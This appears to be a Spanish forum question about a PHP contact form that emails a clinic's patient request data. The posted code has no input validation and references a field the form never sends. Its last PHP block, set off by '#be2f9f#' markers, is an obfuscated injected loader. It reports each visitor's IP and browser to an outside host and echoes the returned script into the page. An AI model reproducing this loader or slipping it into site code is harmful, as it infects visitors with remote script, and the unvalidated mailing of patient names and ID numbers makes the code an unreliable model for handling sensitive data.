PHP - problema al enviar formularios con php

<form class="petilisolet" action="peticionok.php" method="POST">

	<div id="titulo_peticion">FORMULARIO DE PETICIÓN</div>

	<div class="seccion1"><label class="1">Nombre de la clínica:</label><input value='' name="clinica" type="text" id="clinica"></div>

	<div class="seccion2"><label class="2">Doctor/a que lo solicita:</label><input value='' name="doctor" type="text" id="doctor"></div>

	<div class="seccion1"><label class="1">Fecha de extracción:</label><input value='' name="extraccion" type="text" id="extraccion"></div>

	<div class="seccion2"><label class="2">Tipo de aplicación:</label><input value='' name="aplicacion" type="text" id="aplicacion"></div>

	<div class="seccion1"><label class="1">Nombre y apellidos del paciente:</label><input value='' name="paciente" type="text" id="paciente"></div>

	<div class="seccion2"><label class="2">DNI del paciente:</label><input value='' name="dni_paciente" type="text" id="dni_paciente"></div>

	<div class="seccion1"><label class="1">Fecha de la inyección:</label><input value='' name="inyeccion" type="text" id="inyeccion"></div>

	<center><div><input class="enviar_peticion" type='submit' value='ENVIAR'></div></center>

</form>

<?php

if(isset($_POST['email'])) {

$email_to = "segarradelaflorsergio@gmail.com";

$email_subject = "Petición de Lisolet";

if(!isset($_POST['clinica']) ||

!isset($_POST['doctor']) ||

!isset($_POST['extraccion']) ||

!isset($_POST['aplicacion']) ||

!isset($_POST['paciente']) ||

!isset($_POST['dni_paciente']) ||

!isset($_POST['inyeccion'])) {

echo "<b>Ha ocurrido un error y el formulario no ha podido enviarse. </b><br />";

echo "Por favor, vuelva atrás y verifique los datos ingresados<br />";

die();

}

$email_message = "Detalles del formulario de petición:\n\n";

$email_message .= "Clinica: " . $_POST['clinica'] . "\n";

$email_message .= "Doctor: " . $_POST['doctor'] . "\n";

$email_message .= "Fecha de extracción: " . $_POST['extraccion'] . "\n";

$email_message .= "Tipo de aplicación: " . $_POST['aplicacion'] . "\n";

$email_message .= "Nombre del paciente: " . $_POST['paciente'] . "\n\n";

$email_message .= "Dni del paciente: " . $_POST['dni_paciente'] . "\n\n";

$email_message .= "Fecha de la inyección: " . $_POST['inyeccion'] . "\n\n";

$headers = 'From: '.$email_from."\r\n".

'Reply-To: '.$email_from."\r\n" .

'X-Mailer: PHP/' . phpversion();

@mail($email_to, $email_subject, $email_message, $headers);

echo "¡El formulario se ha enviado correctamente!";

}

?>

<?php

$clinica = $_POST['clinica'];

$doctor = $_POST['doctor'];

$extraccion = $_POST['extraccion'];

$aplicacion = $_POST['aplicacion'];

$paciente = $_POST['paciente'];

$dni_paciente = $_POST['dni_paciente'];

$inyeccion = $_POST['inyeccion'];

$header = 'From: ' . $mail . " \r\n";

$header .= "X-Mailer: PHP/" . phpversion() . " \r\n";

$header .= "Mime-Version: 1.0 \r\n";

$header .= "Content-Type: text/plain";

$mensaje = "Clinica : " . $clinica . " \r\n";

$mensaje .= "Doctor que lo solicita : " . $doctor . " \r\n";

$mensaje .= "Fecha de extraccion : " . $extraccion . " \r\n";

$mensaje .= "Tipo de aplicacion : " . $aplicacion . " \r\n";

$mensaje .= "Nombre del paciente: " . $paciente . " \r\n";

$mensaje .= "DNI del paciente: " . $dni_paciente . " \r\n";

$mensaje .= "Fecha de la inyeccion: " . $inyeccion . " \r\n";

/*$mensaje .= "Mensaje: " . $_POST['mensaje'] . " \r\n";*/

$mensaje .= "Enviado el " . date('d/m/Y', time());

$para = 'segarradelaflorsergio@gmail.com';

$asunto = 'Mensaje desde la web';

mail($para, $asunto, utf8_decode($mensaje), $header);

echo 'Mensaje enviado correctamente, le mandaremos una respuesta a su correo con la mayor brevedad posible. Gracias por su paciencia';

echo '<br/>';

echo '<br/>';

echo 'Message sent successfully, we will send a reply to your email as soon as possible. Thanks for your patience';

?>

<?php

#be2f9f#

error_reporting(0); @ini_set('display_errors',0); $wp_ml59 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_ml59) && !preg_match ('/bot/i', $wp_ml59))){

$wp_ml0959="http://"."tag"."modules".".com/"."modules"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_ml59);

if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_ml0959); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$wp_59ml = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_59ml = @file_get_contents($wp_ml0959);}

elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_59ml=@stream_get_contents(@fopen($wp_ml0959, "r"));}}

if (substr($wp_59ml,1,3) === 'scr'){ echo $wp_59ml; }

#/be2f9f#

?>